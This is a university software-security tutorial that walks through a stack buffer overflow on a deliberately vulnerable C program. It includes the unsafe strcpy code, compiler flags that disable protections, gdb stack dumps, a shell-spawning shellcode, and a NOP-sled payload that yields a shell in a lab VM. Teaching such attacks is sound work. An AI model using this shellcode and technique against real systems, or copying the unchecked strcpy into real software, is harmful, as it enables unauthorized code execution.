FIT 3173 Software Security

Week 4 Tutorial: Buffer Overflow Attacks

This tutorial allows you to experiment with a variation of the buffer overflow attacks demonstrated in the lecture. It works with Seed Ubuntu VM. The goal of this lab is to exploit buffer overflow to invoke a shell code from a legitimate program.

Some online references are listed as follows in case that you have little prior knowledge on programming:

UNIX and Linux Tutorial for Beginners

C Programming Tutorial

GCC Beginner Guide

GDB Tutorial

Binary Convention

x86 Assembly Language Reference

1. **Create our simple vulnerable program** (auth_overflow3.c). It is a variant of the vulnerable program demonstrated in the lecture. Note that the buffer size in this variant is 96 bytes long. It will be large enough for an attacker to inject his own executable shell code into the buffer, as we will see in this tutorial.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {

        char password_buffer[96];
        int auth_flag[1];

        auth_flag[0] = 0;

        strcpy(password_buffer, password);

        if(strcmp(password_buffer, "brillig") == 0)
                auth_flag[0] = 1;
        if(strcmp(password_buffer, "outgrabe") == 0)
                auth_flag[0] = 1;

        return auth_flag[0];
}

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <password>\n", argv[0]);
                exit(0);
        }
        if(check_authentication(argv[1])) {
                printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
                printf("      Access Granted.\n");
                printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
        } else {
                printf("\nAccess Denied.\n");
   }
}
```

2. **Compile the program, include symbol info. for debugger (-g), disable stack protector (–fno-stack-protector) and allow the stack to contain executable code (-z execstack)**
   [root@####] gcc -fno-stack-protector -z execstack -g -o auth_overflow3 auth_overflow3.c

3. **Load the program into the gdb debugger**
   [root@#### bof]# gdb auth_overflow3

```
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <htlistp://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/bob/Documents/Teaching/FIT3173/auth_overflow3...done.
(gdb)
```

4. List the program and set break points just before the buffer overflow point and after the overflow:

```
(gdb) list 1,40
1       #include <stdio.h>
2       #include <stdlib.h>
3       #include <string.h>
4
5       int check_authentication(char *password) {
6
7               char password_buffer[96];
8               int auth_flag[1];
9
10              auth_flag[0] = 0;
11
12              strcpy(password_buffer, password);
13
14              if(strcmp(password_buffer, "brillig") == 0)
15                      auth_flag[0] = 1;
16              if(strcmp(password_buffer, "outgrabe") == 0)
17                          auth_flag[0] = 1;
18
19                  return auth_flag[0];
20          }
21
22          int main(int argc, char *argv[]) {
23                  if(argc < 2) {
---Type <return> to continue, or q <return> to quit---
24                          printf("Usage: %s <password>\n", argv[0]);
25                          exit(0);
26                  }
27                  if(check_authentication(argv[1])) {
28                          printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
29                          printf("      Access Granted.\n");
30                          printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
31                  } else {
32                          printf("\nAccess Denied.\n");
33            }
34          }
35
(gdb) break 12
Breakpoint 1 at 0x8048483: file auth_overflow3.c, line 12.
(gdb) break 19
Breakpoint 2 at 0x80484f3: file auth_overflow3.c, line 19.
```

5. **Disassemble the main() function code and locate the return address that execution returns to after the check_authentication function returns:**

```
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:set
   0x080484fd <+0>:     push   ebp
   0x080484fe <+1>:     mov    ebp,esp
   0x08048500 <+3>:     and    esp,0xfffffff0
   0x08048503 <+6>:     sub    esp,0x10
   0x08048506 <+9>:     cmp    DWORD PTR [ebp+0x8],0x1
   0x0804850a <+13>:    jg     0x804852e <main+49>
   0x0804850c <+15>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804850f <+18>:    mov    edx,DWORD PTR [eax]
   0x08048511 <+20>:    mov    eax,0x8048661
   0x08048516 <+25>:    mov    DWORD PTR [esp+0x4],edx
   0x0804851a <+29>:    mov    DWORD PTR [esp],eax
   0x0804851d <+32>:    call   0x8048360 <printf@plt>
   0x08048522 <+37>:    mov    DWORD PTR [esp],0x0
   0x08048529 <+44>:    call   0x80483a0 <exit@plt>
   0x0804852e <+49>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048531 <+52>:    add    eax,0x4
   0x08048534 <+55>:    mov    eax,DWORD PTR [eax]
   0x08048536 <+57>:    mov    DWORD PTR [esp],eax
   0x08048539 <+60>:    call   0x8048474 <check_authentication>
   0x0804853e <+65>:    test   eax,eax
   0x08048540 <+67>:    je     0x8048568 <main+107>
   0x08048542 <+69>:    mov    DWORD PTR [esp],0x8048677
---Type <return> to continue, or q <return> to quit---
```

```
  0x08048549 <+76>:   call   0x8048380 <puts@plt>
  0x0804854e <+81>:   mov    DWORD PTR [esp],0x8048694
  0x08048555 <+88>:   call   0x8048380 <puts@plt>
  0x0804855a <+93>:   mov    DWORD PTR [esp],0x80486aa
  0x08048561 <+100>:  call   0x8048380 <puts@plt>
  0x08048566 <+105>:  jmp    0x8048574 <main+119>
  0x08048568 <+107>:  mov    DWORD PTR [esp],0x80486c6
  0x0804856f <+114>:  call   0x8048380 <puts@plt>
  0x08048574 <+119>:  leave
  0x08048575 <+120>:  ret
End of assembler dump.
```

The return address is highlighted in bold above (the instruction following the call to check_authentication function).

6. **Run the program with an input (payload), which is larger than the 96 bytes buffer length.** (say 100 "A" characters (ASCII code = 0x41)

```
(gdb) run $(perl -e 'print "\x41"x100')


Starting program: /home/bob/Documents/Teaching/FIT3173/auth_overflow3 $(perl -e 'print
"\x41"x100')

Breakpoint 1, check_authentication (
    password=0xbffff4ba 'A' <repeats 100 times>) at auth_overflow3.c:12
12                    strcpy(password_buffer, password);
```

Examine the contents of the stack memory (starting the at the first byte of the password_buffer):

```
(gdb) x/48xw password_buffer
0xbffff270:     0xbffff2af      0xbffff2ae      0x00000000      0xb7ff3fec
0xbffff280:     0xbffff334      0x00000000      0x00000000      0xb7e53043
0xbffff290:     0x0804828d      0x00000000      0x00c30000      0x00000001
0xbffff2a0:     0xbffff504      0x0000002f      0xbffff2fc      0xb7fc4ff4
0xbffff2b0:     0x08048580      0x08049ff4              0x00000002      0x0804833d
0xbffff2c0:     0xb7fc53e4      0x00000016      0x08049ff4              0x080485a1
0xbffff2d0:0x00000000       0x00000000      0xbffff2f8      0x0804853e
0xbffff2e0:     0xbffff524      0x00000000      0x08048589      0xb7fc4ff4
0xbffff2f0: 0x08048580      0x00000000      0x00000000      0xb7e394d3
0xbffff300:     0x00000002      0xbffff394      0xbffff3a0      0xb7fdc858
0xbffff310:     0x00000000      0xbffff31c      0xbffff3a0      0x00000000
0xbffff320:     0x0804824c      0xb7fc4ff4      0x00000000      0x00000000
```

Can you see the address after the end of the password_buffer in the check_authetntictation() stack frame where the return address is stored? (look for the return address you identified earlier in the stack memory dump).

7. **Continue execution to next breakpoint (after the overflow strcpy), and examine the stack memory again. Can you see the overflow bytes containing the '0x41' characters? How large should the overflow be to reach and overwrite the return address?**

```
(gdb) continue
Continuing.

Breakpoint 2, check_authentication (
    password=0xbffff4ba 'A' <repeats 100 times>) at auth_overflow3.c:19
19              return auth_flag[0];
(gdb) x/48xw password_buffer
0xbffff270:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff280:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff290:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2d0:0x41414141   0x00000000      0xbffff2f8      0x0804853e
0xbffff2e0:     0xbffff524      0x00000000      0x08048589      0xb7fc4ff4
0xbffff2f0: 0x08048580  0x00000000      0x00000000      0xb7e394d3
0xbffff300:     0x00000002      0xbffff394      0xbffff3a0      0xb7fdc858
0xbffff310:     0x00000000      0xbffff31c      0xbffff3a0      0x00000000
0xbffff320:     0x0804824c      0xb7fc4ff4      0x00000000      0x00000000
```

8. Generate our attacker "payload" shellcode (in this tutorial, we use the provided shellcode).

This shellcode (given below as a list of 36 machine code bytes) opens a Linux command shell that allows the attacker to issue arbitrary Linux commands on the attacked machine.

```
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80\x90
```

9. Construct the buffer-overflowing input containing our payload ().

	NOP sled (40 bytes)	Shellcode (36 bytes)	40 x Repeating return address (160 bytes)

a NOP is a instruction which does nothing (No Operation - 0x90)

we will try to overwrite return address with 0xbffff204

```
(gdb) run $(perl -e 'print
"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68","\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89","\xe1\xcd\x80\x90","
\x04\xf2\xff\xbf"x40')

Starting program: /home/bob/Documents/Teaching/FIT3173/auth_overflow3 $(perl -e 'print
"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68","\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89","\xe1\xcd\x80\x90","
\x04\xf2\xff\xbf"x40')

Breakpoint 1, check_authentication (
    password=0xbffff432
"\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
0\061\300\061\333\061ə\260\244j\vXQh//shh/bin\211\343Q\211\342S\211\341\220\004
\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004
\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004
\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004
\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004
\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004
\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004
\362\377\277"...) at auth_overflow3.c:12
12                  strcpy(password_buffer, password);
(gdb) continue
Continuing.

Breakpoint 2, check_authentication (
   password=0xbffff204
"\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\27
7\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\27
7\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\27
7\004\362\377\277\004\362\377\277\004\362\377\277")
   at auth_overflow3.c:19

19                  return auth_flag[0];
```

10. Analyze the stack memory and find the address of our shellcode.

```
(gdb) x/48xw password_buffer
0xbffff1e0:      0x90909090      0x90909090      0x90909090      0x90909090
0xbffff1f0:0x90909090      0x90909090      0x90909090      0x90909090
0xbffff200:      0x90909090      0x90909090      0xdb31c031      0xb099c931
0xbffff210:      0x6a80cda4      0x6851580b      0x68732f2f
0x69622f68
0xbffff220:      0x51e3896e      0x8953e289      0x9080cde1      0xbffff204
0xbffff230:      0xbffff204      0xbffff204      0xbffff204      0xbffff204
0xbffff240:      0xbffff204      0xbffff204      0xbffff204      0xbffff204
0xbffff250:      0xbffff204      0xbffff204      0xbffff204      0xbffff204
0xbffff260:      0xbffff204      0xbffff204      0xbffff204      0xbffff204
0xbffff270:      0xbffff204      0xbffff204      0xbffff204      0xbffff204
0xbffff280:      0xbffff204      0xbffff204      0xbffff204      0xbffff204
0xbffff290:      0xbffff204      0xbffff204      0xbffff204      0xbffff204
```

Note: our shellcode starts with 0xdb31c031 at the address of the our shellcode is **0xbffff200**. Therefore, reconstruct our payload return address to start somewhere before this address (anywhere in the NOP sled will do-- we'll try 0xbffff1f4.

11. Reconstruct and run program with our new payload.

```
(gdb) run $(perl -e 'print
"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68","\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89","\xe1\xcd\x80\x90","\xf
4\xf1\xff\xbf"x40')
```

```
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/bob/Documents/Teaching/FIT3173/auth_overflow3 $(perl -e 'print
"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68","\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89","\xe1\xcd\x80\x90","\xf
4\xf1\xff\xbf"x40')

Breakpoint 1, check_authentication (
   password=0xbffff432
"\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\06
1\300\061\333\061ə\260\244j\vXQh//shh/bin\211\343Q\211\342S\211\341\220t\361\377\
277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\3
61\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377
\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\
361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\37
7\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277"...) at auth_overflow3.c:12
12                        strcpy(password_buffer, password);
(gdb) continue
Continuing.

Breakpoint 2, check_authentication (
   password=0xbffff1f4
"\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
061\300\061\333\061ə\260\244j\vXQh//shh/bin\211\343Q\211\342S\211\341\220t\361\37
7\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t
\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\3
77\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277
t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\
377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\277t\361\377\27
7t\361\377\277t\361\377\277t\361\377\277"...) at auth_overflow3.c:19
19                        return auth_flag[0];
(gdb) x/48xw password_buffer
0xbffff1e0:   0x90909090          0x90909090          0x90909090          0x90909090
0xbffff1f0:   0x90909090          0x90909090          0x90909090          0x90909090
0xbffff200:   0x90909090          0x90909090          0xdb31c031          0xb099c931
0xbffff210:   0x6a80cda4          0x6851580b          0x68732f2f                    0x69622f68
0xbffff220:   0x51e3896e          0x8953e289          0x9080cde1          0xbffff1f4
0xbffff230:   0xbffff1f4          0xbffff1f4          0xbffff1f4          0xbffff1f4
0xbffff240:   0xbffff1f4          0xbffff1f4          0xbffff1f4          0xbffff1f4
0xbffff250:   0xbffff1f4          0xbffff1f4          0xbffff1f4          0xbffff1f4
0xbffff260:   0xbffff1f4          0xbffff1f4          0xbffff1f4          0xbffff1f4
0xbffff270:   0xbffff1f4          0xbffff1f4          0xbffff1f4          0xbffff1f4
0xbffff280:   0xbffff1f4          0xbffff1f4          0xbffff1f4          0xbffff1f4
0xbffff290:   0xbffff1f4          0xbffff1f4          0xbffff1f4          0xbffff1f4

(gdb) continue
Continuing.
process 5494 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 2: No symbol table is loaded.  Use the "file" command.
$ ls -la
total 456
```

```
drwxrwxr-x 2 bob bob   4096 Aug 20 15:58 .
drwxrwxr-x 3 bob bob   4096 Jul 29 17:05 ..
-rw-rw-r-- 1 bob bob     85 Aug 20 15:58 .~lock.Buffer_Overflow_Tutorial_Ubuntu.doc#
-rw-r--r-- 1 bob bob  50688 Feb  6  2014 Buffer_Overflow_Tutorial.doc
-rw-rw-r-- 1 bob bob  79360 Aug 20 15:58 Buffer_Overflow_Tutorial_Ubuntu.doc
-rw-rw-r-- 1 bob bob  20053 Aug 16 20:34 FIT3173_Lec4_Demos.txt
-rw-rw-r-- 1 bob bob  20052 Aug 16 20:33 FIT3173_Lec4_Demos.txt~
-rw-rw-r-- 1 bob bob 127595 Jul 29 17:04 TutorialSheet_week2.pdf
-rwxrwxr-x 1 bob bob   7347 Aug 16 15:38 a.out
-rwxrwxr-x 1 bob bob   8568 Aug 20 11:19 auth_overflow
-rw-r--r-- 1 bob bob    660 Oct 23  2013 auth_overflow.c
-rwxrwxr-x 1 bob bob   8589 Aug 16 20:45 auth_overflow2
-rw-r--r-- 1 bob bob    690 Oct 23  2013 auth_overflow2.c
-rwxrwxr-x 1 bob bob   8589 Aug 20 14:45 auth_overflow3
-rw-rw-r-- 1 bob bob    690 Aug 20 13:55 auth_overflow3.c
-rwxrwxr-x 1 bob bob   8355 Aug 20 13:16 bof
-rw-rw-r-- 1 bob bob    199 Aug 20 13:16 bof.c
-rw-rw-r-- 1 bob bob    199 Aug 20 13:03 bof.c~
-rwxrwxr-x 1 bob bob   7347 Aug 16 15:40 fmit_vuln.out
-rwxrwxr-x 1 bob bob   7347 Aug 16 15:41 fmt_vuln
-rw-r--r-- 1 bob bob    567 Apr  5  2013 fmt_vuln.c
-rwxrwxr-x 1 bob bob   7347 Aug 16 15:40 fmt_vuln.out
-rwxrwxr-x 1 bob bob   7597 Jul 29 18:21 race
-rw-rw-r-- 1 bob bob   2602 Jul 29 17:59 race.c
-rw-rw-r-- 1 bob bob   2602 Jul 29 17:54 race.c~
-rw-rw-r-- 1 bob bob    198 Jul 29 19:04 refs.txt
-rwxrwxr-x 1 bob bob   7422 Jul 29 17:51 thread
-rw-rw-r-- 1 bob bob   2000 Jul 29 17:54 thread.c
-rw-rw-r-- 1 bob bob   2000 Jul 29 17:38 thread.c~

$ exit
[Inferior 1 (process 5494) exited normally]
```

The attack worked – execution returned to the shellcode and the shell could be used to issue any commands (such ls in the example above).